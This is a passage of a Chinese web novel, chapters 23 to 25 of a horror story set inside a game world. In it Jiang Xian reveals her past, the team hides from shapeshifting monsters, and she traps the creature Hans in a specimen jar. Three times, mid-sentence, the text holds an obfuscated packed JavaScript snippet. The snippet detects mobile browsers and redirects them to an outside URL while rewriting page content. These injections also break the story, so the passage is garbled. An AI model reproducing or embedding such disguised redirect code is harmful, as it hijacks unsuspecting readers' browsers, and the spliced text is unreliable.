江显不乐意了：“你今天真是奇怪极了。不过既然你在树木暴动时救了我。这个问题我倒是可以如实回答你。” “我并没有以这个在要挟你的意思。”陆寰无奈叹气，“如果真要这么说的话，你可是救了整支队伍不知道多少次呢。餐厅变异怪鱼、解锁地图、清除果实、发现屏障作用…………我该把老底全给你交代干净了。” “现在意识到也不晚。”江显转过脸眯着眼看他。 “你真无情。江显。”陆寰叹了口气。 江显看着陆寰那双清澈无辜的眼睛，一瞬间有一种自己又欺负他了的错觉。 “我也这么认为。”她点点头，“上次汉斯变成你，在房间外用这种眼神看我，吓得我立刻给了他两枪。” 这下轮到陆寰坐立难安了：“他都干了些什么？” 江显看着他那副担惊受怕随时要碎掉的样子，突然间只觉好玩，决定报复一下他。 于是她说：“当时他把衣服领子一直敞到胸膛下面，一副衣冠不整的样子。然后他乱着头发，眼里闪着泪花，就这么楚楚可怜地找上门来了，搞得好像我是个罪无可赦玩弄人感情的坏人一样。这种样子我上一次见还是医院病人要找我做胸部CT呢。我觉得你不是脑子坏掉了就是中邪了，再然后我用技能看到了怪物信息……” 江显说着说着转头一看，旁边陆寰已经彻底红到耳朵根了。 她没再管这惊恐石化的可怜家伙，从地板上起身坐到了椅子上。 房间里就这样维持着这样一种微妙的静谧。 良久，江显松口了。 “我想救的，不是那个玩家。”她轻声说。 陆寰注视着她，耐心地等她说下去。 “我只是……又一次面对相似情形时条件反射。” 她只是在心里幻想着能打碎那道无形的屏障，仿佛这样就能连同那道桎梏她20整整年的阴影一同打碎。 “我和你说过，我的父母都是天文学家。他们有时会去‘瞭望者’星际舰上工作，在那里眺望宇宙。”江显语速很缓，她似乎陷入了某种回忆。 “在我6岁那年，他们带着我去一颗我记不太清的星球旅行。在返程就要抵达地球时，自动驾驶型飞船发生了故障，即将失控坠落。” “他们把唯一的逃生舱留给了我。我只能透过透明复合挡板看到他们的面孔正在缩小。” “我敲击玻璃大哭大闹，但是无济于事。我什么也做不了。然后我被弹射出去，只能看到一阵强光之后，视野里只剩下那颗静谧的水蓝色行星。” “我不想再在屏障之后漠视着一切发生。”江显这样说，“我总得做点什么。即使救不了任何人，砸碎屏障也好。” “再给我一次机会的话，我宁愿和那艘飞船一起坠毁在6岁那年。”她发出了自嘲的声音。 陆寰在旁边充当一个很好的倾听者。 “对不起。”他有些愧疚地朝她走去，“先前失礼了。” 联想起前俩天夜里聊起这个话题时江显闭口不谈的样子，他瞬间猜到了大半。 “所以现在你也知道了，我没有‘继承家业’也不是出于什么热爱和情怀。没什么特别原因，单纯是因为宇宙和星空让我联想到一些伤感的事情。”江显这么说着时，已经又朝着房间的窗户走去了。 “我是个平庸的懦夫，不想见到父母的故友，也不想在宇宙的某颗星球上意外发现任何他们的研究痕迹，更不想接手他们的工作……这一切都只会让我徒增悲伤。” 陆寰的手臂僵住了。 他现在站在她刚刚停留的位置，她就那样从他的指间划走了。 “趁机休息会吧。”江显突然转过头对他说，“今晚注定是个不眠夜了。” 陆寰欲言又止，终是说了句“保重”就离开了。 23. 失落之海23 江显下了“逐客令”，然后闷头就睡。 这是阶段一的最后一天，谁也不知道今天夜里又会触发什么事件，现在能做的唯有抓紧时间打上一个盹。 约莫一个小时后，江显是被系统提示吵醒的。 【副本公告】 【对象：全体副本玩家】 【夜晚降临了。】 【今天是第一阶段的最后一天，首先感谢全体玩家做出的贡献。为了放松身心、劳逸结合，你们的队友们和你玩起了捉迷藏的游戏】 【你有10分钟的时间用来隐藏自己】 【在倒计时结束前，你是绝对安全的。】 【但是一旦游戏开始，你就必须依赖自己。】 【千万不要被他们发现哦~】 【本副本活动范围：整个科考站】 【提示：捉迷藏只是一场游戏，即使游戏失败也不会消失，所以放心地去享受吧~】 江显默默地叉掉副本公告。 被发现也不会消失？那大费周折进行游戏干嘛？ 这么离谱的谎言，用脚趾头想想也知道是假的。 现在已知，在明天之前一直留在科考站内是毫无问题的，但是如何不被发现却是个问题。 唯一可以确认的是，被发现确实不会“消失”，大概率是会被汉斯和杰克那样的的怪物同化，成为和其他队员一样的怪鱼样npc。 不知为何，江显突然想到昨天汉斯那一句哀伤的“只要活着，就还有希望。” 这样行尸走肉的状态，真的还能算“活着”吗？ 她认为答案必然是否定的。一个活生生的人需要思考、需要能自主地选择自己的命运，而不是像这般被囚禁在一个副本之中，一切的活动都受到系统指示的操控。 江显回想起自己前不久才向陆寰倾诉过自己对于往事的恐惧。她说她不愿回忆过去，不敢提及和面对真相。 现在她打开了光脑，上面仍然显示着“无信号”图标，但是以前收到的所有信息都还在。 江显点进一个联系人，他们之间来来往往的信息形成一片片色彩交错的色块。 哈，怎么可能会忘。江显勾勾嘴角，那是一个自嘲的笑。 她关掉光脑，那些对白的文字却没有在她脑中暗淡光芒，反而愈发明亮，像是颗渐近的恒星。 她无时不刻都在提醒自己要铭记，否则就把过去也背叛了。 她没有忘，她自己选择踏上了一条荆棘遍布的路，她的一生都被过往所驱动。 没有什么能够阻碍她前行；纵使现在他们作为玩家，不得不遵守副本的规则，受制于它的一切安排，但终有一日她要打破这一切回到现实，继续去追寻真相。 那个她从20年前就下定决心要查明的真相。 * 【倒计时还剩10秒】 【9，8，7……】 【捉迷藏开始】 苏乐蜷缩在冷冻柜里。 周围都是冻得像是石头一样的鱼，直冒寒气；表面的白霜碰到她皮肤立刻化为了一团薄雾，然后又在低温里被重新冻上。 苏乐只觉得皮肤被低温刺得生疼。 刚刚她在听到倒计时准备不久后就离开了房间，想要找江显一起商量躲藏点，毕竟江显总是能想出各种绝妙的点子。 但她前去江显房间，却发现她根本不在，陆寰也不知道去哪儿了。 突如其来的变故让苏乐一时有些茫然。她这才意识到自己一直以来依靠俩位队友太多，以至于一离开就手足无措。 她强迫自己振作起来。 如果是江显，她会在这种情况下怎么做？苏乐的大脑飞速运转起来。 首先，系统里那句“被抓到了也没事”是万万不可信的。按照江显的推测来看，他们唯有从今夜开始一直留在科考站，才能够存活下去。那么现在系统设置的这场游戏很可能就是对留在科考站的玩家进行又一轮的“筛选”。 既然是筛选，那必然意味着存在被淘汰的可能。 想通了这一点后，她开始思索合适的藏身位置。 苏乐首先排除第三层的向导办公室。那里是副本小boss的老巢，她过去无异于自投罗网。 第二层也不安全，所有npc都住在那里，且走廊里毫无可躲避的地方，搞不好她就被分食了。而躲在自己房间也并不是最佳选择，一旦房门被攻陷，她将无处可逃。 苏乐把主意打到了一楼。那里有冷冻库、餐厅、厨房等地方。 餐厅里到处都是桌椅，桌子上的餐布也为她提供了藏身之处。 厨房里则可以接触到厨具，让她不至于手无寸铁。 而且厨房、冷冻柜、餐厅互相交通，即使被发现了也有逃跑的余地。 这样可攻可守，便于应对局势变化。 本着这样的想法，苏乐蹑手蹑脚下了楼。她一路靠着墙角，顺利抵达了厨房。 厨房的架子和橱柜下都是隔空的，因此她藏身其中挪行。这样从外面看来她的身形正好被挡住，能够最大限度地减少暴露概率。 “咚！”旁边一记重物击打地面的闷响。 苏乐从柜子下看去，只一眼差点被惊得魂飞魄散。就见陆寰整个人都摔在了地上，后脑着地血肉模糊。幸好此时他的头转向外面一侧，否则苏乐就会和他的眼睛对视。 还没等她作出反应，另一个“陆寰”把地上那个拎起来。枪声在厨房里回荡。 苏乐明白这其中一定有一个是怪物假扮的，但此刻她已无思考能力。她只能尽量控制自己不发出声音，快速地在这排柜子掩护下逃离是非之地。 终于，冷冻库近在咫尺。 苏乐走进去，把主意打在冷冻柜身上。 她一开柜门，寒气逼人，让人直打哆嗦。 苏乐裹紧了衣服。她挪开那些小山一样的冻鱼，腾出空间让自己进去。怪鱼再可怕也需要在解冻后才能活动，只要冷冻系统不坏掉她就可以躲藏很久。 她大着胆子躲进了死鱼堆里，然后关上门一动不动，希望这样就能躲避npc的追捕。 周围一片寂静，机器运转的细微“嗡嗡”声在这种环境下都被无限放大。 苏乐手上拿着一把锋利的水果刀，那是她刚刚去厨房时顺的。她实在不会用枪，只能用这个做心理安慰。 不知过了多久，冷冻柜外面传来了轻微的声响。 那是一种咔嚓咔嚓的冰块碎裂声，除此之外似乎还有什么坚硬的东西正在被咬碎。 有npc在偷吃冻鱼。 苏乐心脏狂跳。 她大着胆子从柜门缝隙里看出去，看到外面地上蹲着俩个npc。他们就那样匍匐着埋在鱼堆里大快朵颐。冰碴子和碎肉块四处乱飞，他们好似两台大号粉碎机。 “这么多鱼怎么都堆在柜子外？我不记得我们有新的捕鱼收获啊？”其中一个npc一边说着，一边砸吧嘴。 “管他呢，也许是汉斯他们又把什么尸体冻进去了吧。”另一个npc无所谓地说，“你还记得那三个精神错乱自杀的可怜家伙吗？他们死后汉斯可是没放过他们，把他们通通冻进了冰库里。我至今还没忘记他们的味道……” 苏乐在暗处听得心惊肉跳。 “船上死人后放冷冻柜”里说法原来是真的。 只不过不是为了防腐……而是为了保鲜！ 他们都以为房间里那三个自杀的npc即便早已身死，至少还得到了解脱，逃脱了被【裂齿鬼鱼】化同伴折磨的命运。 只是没想到……他们的躯体还是没能幸免遇难，而是残忍地被分食了。 分明冻得浑身皮肤发麻，苏乐还是觉得自己留下了冷汗。 外面那两个npc还在交谈。 “这次放在冷冻柜里的又会是谁？”其中一个npc问道。 “是那个小姑娘吧。刚刚船长不是还用【广播】技能向我们播报了？” 逼仄的冷冻柜里，苏乐心脏疯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14162286|149201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狂跳动。 他们是在说……江显？ 这怎么可能？！江显那么聪明和机警，怎么可能就被轻而易举地抓到了？ “我也听到了。听说汉斯吞噬了她，变成了她的样子并获得了她的全部记忆。”那个npc继续说，“现在汉斯准备用她的模样去诱骗她的俩个同伴呢！” 什么？！ 弥漫着淡淡血腥味的空气里，苏乐如遭雷击。 她无法相信江显已经被吞噬了。一直以来她都是整个三人组的主心骨，带着他们成片成片毁灭果实、冲出树枝的包围圈，敏锐地发现一条又一条线索；她行事果断无比，总是先于他们发现端倪…… 可是…… 苏乐觉得鼻子一热，然后视野模糊了。 身为混子的自己混了一路，现在还在冰库里苟且偷生，而她崇拜无比的江显却被怪物杀死了。 难道冒险者和开拓者必定要承受这样惨烈的结局吗？ 尽管她再怎么不愿接受这个噩耗，眼下向导却已经利用技能向所有npc进行了广播，这似乎已成为了不争的事实。 冷冻柜外面的npc还没离开，他们似乎是吃完了外面的鱼仍然意犹未尽。 透过缝隙，苏乐看到一位npc舔了舔嘴唇，对另一位说：“要不我们把冷冻柜的门打开来吧？我已经好久没见过真正的同类了？” “怎么，那是对你过去人类躯体的缅怀吗？你只是想偷吃罢了。汉斯知道会杀了我们的。” “我们可以就咬一根手指头尝一尝味道。”先前那个npc说，“这样铁定不会被发现。” 这一计划似乎得到了俩人的肯定。 他们正朝着冷冻柜步步逼近，脚步声像是催命符一样踩在苏乐心上。 苏乐屏禁了呼吸，她手上攥紧了水果刀。 冰柜门轻微震动，眼看着就要被打开，下一刻—— “你们在做什么？” 苏乐听到了一道熟悉的女声。 她刚如释重负地松了口气，忽然想到了刚刚那俩个npc的交谈，立刻如置冰窖。 那不是江显—— 那只是一个套了她壳子的怪物。 绝望感弥漫了苏乐全身，她甚至没意识到自己松了手，刀就那样掉在了地面上。 “汉斯，你怎么来了？”外面俩个npc声音里带着敬畏。 “听说你们很想知道我在冰柜里藏了什么东西？”“江显”说。 两个npc显然局促起来了。 “说得好像我在背着你们吃独食似的。”怪物“江显”笑道，“那就让我们来看看冰柜里到底有什么东西吧。” 脚步声迅速接近，下一刻冰柜门被拉开。 苏乐闭上了眼睛。 “咦？” 眼前的怪物发出了一声很轻的、讶异的声音。 再然后，门被重重关上。 “你们是不是偷吃生鱼了？”怪物“江显”厉声道。 俩个npc心虚地不敢说话。 “一群饭桶！人抓到了吗？人没抓到就在这儿偷吃！副本一天不结束，我们就一天不解脱！” Npc试图辩解：“我们只是……” “废话什么，还不快去！” 刚刚还凶相毕露的俩个npc唯唯诺诺地走了。 苏乐茫然地经历了这一切的发生。 “船要开了。”怪物“江显”追在刚刚那俩npc后面说，“在枪声响起之时，所有成员都要聚集到餐厅里。这么多人围堵，要是再抓不到那俩人你们就等着吧。” “至于有些走运的小老鼠……”她突然停下来，眼神有意无意看向苏乐藏身的冰柜，“现在我有急事顾不上，等处理完那莫名多出来的任务再来找你们算账。” 随后冷冻库里陷入了寂静。 “……江……江显？”苏乐打开门试探性地喊道。 可是那个不知道是人还是怪物的东西已经走了，无人回应她的疑惑。 24. 失落之海24 怪物“江显”眨眼间就离开了。 苏乐劫后余生，心跳久久不能平复。 难道是外面有什么吸引了怪物注意，这才使得她侥幸逃脱？ 她刚刚太过紧张，全然没有时间思考。现在想来属实是奇怪。 那个怪物……那是……江显吗？ 苏乐有些困惑。 副本怪物没道理无缘无故放过她，甚至还把其他npc引走。 可是如果那真是江显，她又是如何做到骗过了向导和所有npc，这样偷梁换柱的？真正的汉斯又去哪儿了？ 以及，她刚刚还躺在厨房地上的另一位队友，现在又在干什么呢？ 带着这些疑惑，苏乐仔细地重新回顾了刚刚“江显”的所有话。 刚刚“江显”的意思是……枪响时候会把所有怪物聚集到一起，他们去大厅那里集合？ 以及那所谓“莫名其妙多出来的任务”，是指刚触发的支线任务3吗？ 想到这里，苏乐浑身一激灵。 那必然是江显无疑！ 听她的意思，她已经和陆寰碰过面了，甚至还触发了最后一条支线任务。 他们原来已经在这段时间里探索过那个隐藏的地下储藏室了，除此之外他们还成功触发了支线3。看她刚刚那胸有成竹的淡定模样一定是已经想好办法了。 苏乐心里震惊不已：说好的应该乖乖躲起来遵守规则呢？你们怎么不按套路出牌，大摇大摆地盗刷别人身份证走路上？ 回想她自己从捉迷藏开始都做了些啥，她无端感到羞愧万分：飞快闪现躲进冰柜还差点暴露，除此之外就没了。 有这样的队友真是她的幸运啊。 苏乐都要喜极而泣了，她也不知道为何，只是觉得自己猛然鼻子一酸，心里涌动着莫名的感动。 接下来她唯一能做的就是留在这个暂时安全的地方见机行事。她自我认识清晰，知道自己或许无法成为队友们的助力，但至少不能成为累赘。 她不知道的是，此刻他们这个副本直播间里所有观众都屏息凝神，生怕错过了一点点细节。 由于整个小队分头行动，因此直播间的画面一分为了三。观众们一时目不暇接。 [你们刚刚看到了吗，陆寰一起去找江显了，这俩人是又要组队搞事吗？] [诶？不对……你哪儿看到那俩人在一块的？我可是一直盯着陆寰小天使的画面分屏没眨过眼呢……等等！] [等等等等，这什么情况？在陆寰去找了江显并前往三楼之后，陆寰走出自己房间并在一楼厨房迎面撞上了陆寰？什么玩意儿！] [我靠，怎么这么多陆寰，这是在和我玩有丝分裂吗？！] [卧槽！陆寰小天使怎么倒计时还没开始就倒在了地上？补药啊！] [傻瓜，地上那个是冒牌货，站着的那个才是本体！] [他这是在先下手为强呢。如果不在倒计时结束前解决掉那个会伪装的怪物，捉迷藏开始后肯定是一大隐患啊！毕竟汉斯和杰克能够变成任何模样，简直防不胜防。刚刚那俩个多出来的肯定是他们变得啊。] [等等等等，刚刚晃过去的那一秒里我看到了什么？厨房柜子下躲了人？！] [傻瓜，你是没看苏乐的分屏吗？人家本来就躲在那里呢！] [这也太惊险了，地上那个冒牌货差一点就能看到她了。幸好她反应快往后缩了。] [队友在外面生死搏斗，她好意思搁这装不存在？] [楼上积点口德吧。换你进到副本里近距离面对怪物不哇哇乱哭！] [就没有人对突然分屏的技术觉得很好奇吗？为啥玩家分头行动时直播间里可以实时显示所有人的动态；而集合时所有画面却能完美融合在一起？] [我去，楼上这么一说确实十分奇怪。一开始我还以为是每个玩家在真人秀都随身携带了摄像头，还想着是怎么让玩家本人时时刻刻精准入境的；但它现在这样灵活自如分屏全屏展示，属实是让人难以想象是用了什么技术。] [吐槽一下楼上。您是掉线了几十年吗？“副本是真人秀”这个说法早就被推翻了。你见过有什么副本是让飞船失踪乘客参与的吗？照你这么说难道飞船失联也是这真人秀play的一环？] [哎，哎，楼上兄弟你们停停火，咱来认真讨论讨论技术和科学的问题。你们不觉得这种……分开时各自捕捉画面，聚集时显示融合画面的模式很像是一个东西吗？不知道？现在你闭上一只眼，是不是视野黑了一半同时还能看到鼻子？现在你睁开这只眼换另一个眼闭上，是不是和刚才一样？现在你睁开俩只眼——诶！现在你的视野融合了连贯了，视野里是不是没有鼻子了？] [……楼上满口眼睛鼻子的到底想说什么？] [我就是想说，咱们人类睁眼看世界时显然不会在两只眼睛中突然一黑出现个鼻子，这是因为我们的大脑能够同时收集和获取来自两只眼睛的视觉信息。大脑接收双眼视神经上的传入信号，并将它们处理和整合，这样就能形成单一的、立体的视觉感知。] [所以这又和不同玩家画面融合有什么关系？] [这种你们口中的分屏全屏处理技术难道和人脑不像吗？在我个人看来，或许副本的本质就是一个和人类大脑相似的信息处理中枢，但比我们的要复杂和高级数百倍！这样就能完美地解释，它如何同时实现那么多副本的实时监控、信号采集、输出直播。] [我靠！天才！宇宙里突然出现一个孤零零的人脑，高等文明也流行整断头台这一套是吧！] [高等文明也流行把大脑发射进太空吗？反正我是不会，这可能和我的家教有关吧！] [不是，楼上你们光顾着讽刺，难道不觉得“高等生命大脑论”其实很有道理吗？如果不是这样，你们如何解释副本直播那么多的疑点？这种血腥暴力又灵异的主题按理来说早该被星网封号了；然而呢？这都过去多少天了星网一点动作也没有。不是懒得封而是封不了吧！也唯有高等生命才能让那么多网络专家都束手无策吧！] [楼上不要随意揣测事态引发恐慌！据说“瞭望者”指挥舰上已经成立专案组进行调查了，过不了多久一切都会真相大白！] 副本里的苏乐看不到那些观众们激烈的讨论，自然也无从得知另外俩位队友那边的情况。 她明白现在首要的任务是安安静静在冷冻柜里苟着，等待江显他们的信号。 她贴着冷冻柜的门仔细分辨着外界动静。附近都太过安静，以至于她能听到的唯一声音是自己的心跳。 这样的死寂不知又维持了多久，然后一连串嘈杂的噪声掩盖了她的心音，寂静应声碎裂。 那似乎是餐厅里桌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14173379|149201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 椅被撞翻的动静，连带着她这边冷冻库的地面都在震动。 叮叮当当的声响中，苏乐附近那些敞开柜格里的冻鱼接二连三地摔在地上，像是在下一场冰雹。 笨重的鱼头砸在地上梆梆响，苏乐看过去时恰好和一双蒙了白霜的鱼眼对视。她紧张地吞了口口水，安慰自己说那只是普通的海鱼，不是怪物。而且没有适宜温度那些鱼不会活动。 好容易外面消停下来了，她这才敢离开藏身的冷冻柜。 如果苏乐没猜错的话，现在大部分npc都被她的队友们聚集在了餐厅里。这里不小的动静难免会引起那些npc注意。 此地不宜久留，因此苏乐决定未雨绸缪，尽早转移。 她打定主意再次从厨房的橱柜下逃跑，那里既隐蔽又方便观察外界；同时离餐厅也更近，能够在江显他们给出信号后立刻与之集合。 她匍匐着前行，在昏暗的柜子下前行、不断辨别着方向。 终于，抵达了边柜的末端，飞速地躲到厨房的门后面朝外面餐厅张望。 只朝餐厅里只看一眼，苏乐差点没两眼一黑。 一排又一排桌椅人仰马翻，它们中间一大群npc正精疲力竭地休息着。他们有的还维持着人形，有的却已经变成【裂齿鬼鱼】了，正拍打着四肢和鱼尾。 倒塌的桌椅、拥挤的npc和怪鱼，这一切都簇拥在一起，仿佛是一堆四仰八叉的尸体。而在这片混乱中，最中间那张桌子上正站着一个人影。 江显不知何时爬上了桌面，正冲着一众npc破口大骂。 “你们怎么回事？抓一个玩家都抓不住？这都把整个餐厅翻个底朝天了！” 她一边说着一边发泄似得狠狠踹了桌边的一个npc一脚，说道：“要是过会儿再找不到，就拿你们开刀！” 那个npc瑟瑟发抖：“可是刚刚明明是杰克喊我们来餐厅集合的啊……他说他自己是真的……” “他说他是你就真是啊！”江显大怒，“我还说我是玩家呢！” 一众npc都畏畏缩缩低着头不敢看她，显然在怪物之间也存在着等级压制。它们这种普通怪是比不上汉斯它们那样的精英怪的。 “我都说了，那个杰克是玩家假扮的！真正的杰克想要假扮玩家，但被玩家发现杀死了！你们倒好，还傻愣愣地和他打招呼，就那样眼睁睁看着他从眼皮底下溜走了！”江显一脸深恶痛绝地贼喊捉贼。 苏乐听明白了，刚刚的动静是陆寰再充当诱饵逃窜， “现在捉迷藏游戏时间过半，我们还只抓到了一个玩家。还有俩个呢？那个看起来就很弱的女玩家呢？你们连她都抓不住。” 看起来很弱的女玩家苏乐：………… 她大脑疯转，终于理清了现在的情况：假扮成汉斯的江显声称假扮成杰克的陆寰是假的，并鼓动全体npc一起去抓他。 好一出无间道大戏。 江显继续恐吓npc说：“现在船长又不在船上没法出手，要是天亮时还没解决那些玩家，我们都得完蛋。 众npc惧怕极了，鱼形怪物也不安地躁动起来。 船长……或者说是向导，又是什么时候离开科考站的？苏乐心里疑惑。 她就躲在门后窥探着那离奇的场面，心里的疑惑愈发浓重。 江显这短短时间里究竟干了什么啊！ 25. 失落之海25 时间回到倒计时开始时。 江显拎起早就准备好的背包准备出门。 她刚朝门那里走去，就又听到了陆寰的敲门声：“江显，你看到系统通知了吗？要一起走吗？” 现在离游戏正式开始还有一段时间，倒是不着急。 江显毫无防备地打开门，露出微笑：“好啊。” 俩人一前一后地在走廊里走着。 “我想到一个绝妙的隐藏地点。”陆寰说。 “哪儿？” “一个隐藏的小房间，很久没有人打开的痕迹了。这证明他们很大概率不会去那儿。我刚刚才突然发现。可是……” “可是什么？” “可是需要去船长办公室偷钥匙。”陆寰说，“船长刚刚才离开那里，你应该也听到关门声了。他短时间内不会再回去。” “听起来是个不错的注意。那么那个小房间在哪儿？” “就在一楼楼梯下。我们现在先趁游戏还没开始去办公室偷钥匙。” “那好啊。”江显爽快答应。 她第一天才探索过一次三楼办公室，碍于时间紧迫还有很多没看的。这次再去，可谓轻车熟路。 他们顺着楼梯爬到三楼，就见向导的房间门虚掩着。 江显在门缝口观察俩眼，果然，办公室里又没人。 俩人鱼贯而入。 “你看，船长桌子上竟然有这么多的东西！”陆寰一边翻找着钥匙惊讶叫道，“这是什么？日记本？这里还有地图呢！我们得好好研究一番。” “噢。”江显敷衍地回答道。 她的目光正停留在一进门那个巨大的书柜上。书柜上面几层有不少存放鱼类标本的透明罐子，这些她上次来时也看到过。 现在她再次打量标本罐，能够确定里面存放的都是怪鱼的标本。 而在标本罐那层后面，是许多实用类的书籍。 《科考船维修手册》《轮机组安全指南》《海上逃生舱使用说明》………… 江显看着那些书，若有所思。 “你真的不来看看这里的日记吗？”陆寰再次提议。 “不了。”江显拒绝，“快点找钥匙。” 陆寰闻言也就不打扰她了。 “怎么会？我找遍了所有抽屉，都没有那个一楼储藏室的单独钥匙。”一段时间后他声音焦急。 “不急。慢慢找。”江显手上动了动。 然后她把手往口袋里插。 时间一分一秒过去了。 眼看准备倒计时只剩下最后1分钟，陆寰再也忍不住了，凑到她旁边道：“快帮我找啊！马上捉迷藏就要开始了。你到底在看什么？” “看那只还空着的标本罐。”江显说着伸出手去拿。 “你看标本罐干什么？” “没什么……”江显抽了抽嘴角，“就是觉得它挺适合你的。” 陆寰不解其意愣了一下，他再次满脸开花地倒在地上。 “老玩这套挺没意思的。”江显从口袋里掏出的那只手握着枪，淡淡笑道。 “不，这怎么可能？？你又是怎么发现的？”“陆寰”瞪圆了眼睛，他的眼珠掉出来了。 “我会叫霍列斯‘船长’吗？”江显反问道。 她决定给这个兢兢业业的npc留点面子，不告诉他其实在他一出现时那些属性信息就把他出卖了。 汉斯整张脸都开始扭曲，眼看就又要变成那团白色的“蠕虫大脑”然后逃走。 下一刻，一只透明的标本罐倒扣在了汉斯脸上。 江显手上一用力，汉斯那本就被打烂的脖颈彻底断了，他整颗头都飞进了罐子里。 “不！不！你不能这么做。”汉斯惊恐地大叫，“放我出去！放我出去！” 江显手上功夫飞快，一下把罐子颠倒过来，然后拧上了盖子。 再然后，她恶劣地把整个罐子颠来倒去，摇晃了好一阵子。 汉斯的叫声逐渐变得有气无力。 他留在外面的身体化成了黑水，而标本罐里的部分则变成了一颗蠕虫脑子。 “放我出去！”白花花的“脑子”说道。 “先回答我几个问题。”江显悠悠道。 “不可能！” “那你就这里关着吧。”江显挑眉，“不管你这种生物多么逆天，耗尽氧气后都不可能存活。” “我会把你藏进向导的柜子里，等向导找来时自称是‘变成江显模样的汉斯’，而你只会在柜子里逐渐窒息。”她在一旁恶魔低语。 “‘只要活着，就还有希望’，这不是你说的吗？要是你肯好好回答我的问题……” “我回答，你放我出去。”汉斯妥协了。 江显故作惊讶：“这么看来你真的需要氧气才能存活啊，幸好赌对了。” 汉斯：“…………” 合着你也不知道我需不需要氧气啊？怎么感觉被套话了？？ “你到底想问什么？” “为何杀死你们的人类形态只后，也没法杀死你们？” “因为所谓的‘人类身体’只是我们自己制造的躯壳。当它的损伤不可逆时，我们将它溶解掉。只要本体还在，我们就能重新将身体制造出来。” “也就是说，只要本体死了，你们就真的死了？” 汉斯不吭声了。江显觉得她得到了想要的答案。 “你们到底是什么东西？”江显问。 “脑子”回答：“蠕虫、鱼、果实、人类，这些都是。” “说人话。” “……我先是鱼，然后是长着蠕虫的果实，最后成为了人类。具体怎样，我自己也无法解释。” 江显皱了皱眉头。 汉斯没必要这时候骗他。 但他说的话实在是太难以理解。 “原本把我引到这里来，是想让我放松警惕，然后等安全时间结束后取代我吗？”她问。 “没错。为了保险起见，我让向导暂时离开，然后等游戏开始后前后夹击把你解决。你太滑溜了，如果提早下手肯定会被你逃脱再次藏起来。只可惜……还是功亏一篑……” “针对我？为什么？”江显不明白。 “你的脑子是我见过最灵活的，吞噬了你，我或许就能脱离这个世界的掌控，获得自由了！” “什么意思？”江显看了看倒计时，还剩下15秒，她有点不耐烦了。 她的脑子有什么特别的吗？ “你很特别，你的意识是整个副本的npc、玩家、生物里最强的。” “你们怎么知道？” “我们能够感受到。在这副本里，所有的树木、蠕虫、怪鱼以及npc和玩家，本质上都是相同的。真可悲啊……你到现在还没发现吗？” “别把我和你们这种已经死去的生物混为一谈。”江显说着，作势要把罐子放进抽屉，“别转移废话。” “哈！亏我还觉得你聪明，你没有感觉到吗？这里的一切都是有意识的。” “副本的npc和生物也有意识？”这下轮到江显讶然。 “我说得够多了，现在可以放我出去了吗？”罐子里，蠕虫脑子扭动着身子说道。 它的身子正在颤抖，看起来快撑不住了。 江显朝罐子伸出手，汉斯看着那只手充满了期待。 下一刻，江显勾起了嘴角。这让他有一种不祥的预感。 “我为什么要把你放出来？你难道是能许愿的神灯？”江显打开书柜底层，把罐子一整个放了进去。 “噢，对了，忘记告诉你，你的演技太拙劣了，我早在第一天就来过办公室并和队友分享过日记内容了。你在办公室里让我去看日记时又露了马脚。” “你……你不……不相信我！”汉斯断断续续地说，“你这个言而……无信的……小人！” “怎么能这么说我？”江显从口袋里拿出那串汉斯装模做样找了许久的钥匙，将它晃得叮当作响，“我相信你找不到钥匙不是装的。” 汉斯似乎被她气疯了，罐子里整团蠕虫直挺挺地倒在了底部。 杀人诛心地说完这些，江显转动钥匙，把柜子锁上了。 房间里恢复了安静。 罐子本来就没多少容量，过不了多久氧气耗尽，汉斯就会自然窒息。 钥匙到手，一个精英小boss也解决了，江显却没有趁机逃跑，而是悠哉游哉地“参观”起了办公室的其他部分。 她还有别的事要做。 好不容易又来一趟向导的老窝，哪有不仔细翻看翻看的道理。 这一次她翻箱倒柜，把抽屉里的文件全部浏览了一遍。 这一次江显有了大量发现。她找到了一份任务记录表的纸质档案，那上面记录了这一整支队伍的人来到此处的前因后果。 队伍来到这儿的本意是要用经过基因改造的“智树”清除海洋里受污染而变异的生物。可是在植树造林的过程中，树竟也受到污染而产生了变异，变得格外高大甚至长出红色果实。 这支队伍朝他们的上级研究所发出求救信号，可是研究所抛弃了他们，并切断了通讯信号。于是这支小队在自己亲手早就的森林里等死，他们自己为自己建起坟场，密不透风的绿色穹顶就是他们的丰碑。 再然后就是先前他们在日记上看到的那些怪事发生。 江显把一切物归原位，就这么在办公室等待着。 在几分钟之后，她终于听到了门外传来的脚步声。 向导没有辜负她的期待，出现在了门口。 看到江显的那一刻，他整个人明显愣了一下。 “怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14177226|149201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么这么慢才来？”江显不以为意。 向导的“精神波动”来回起伏着。 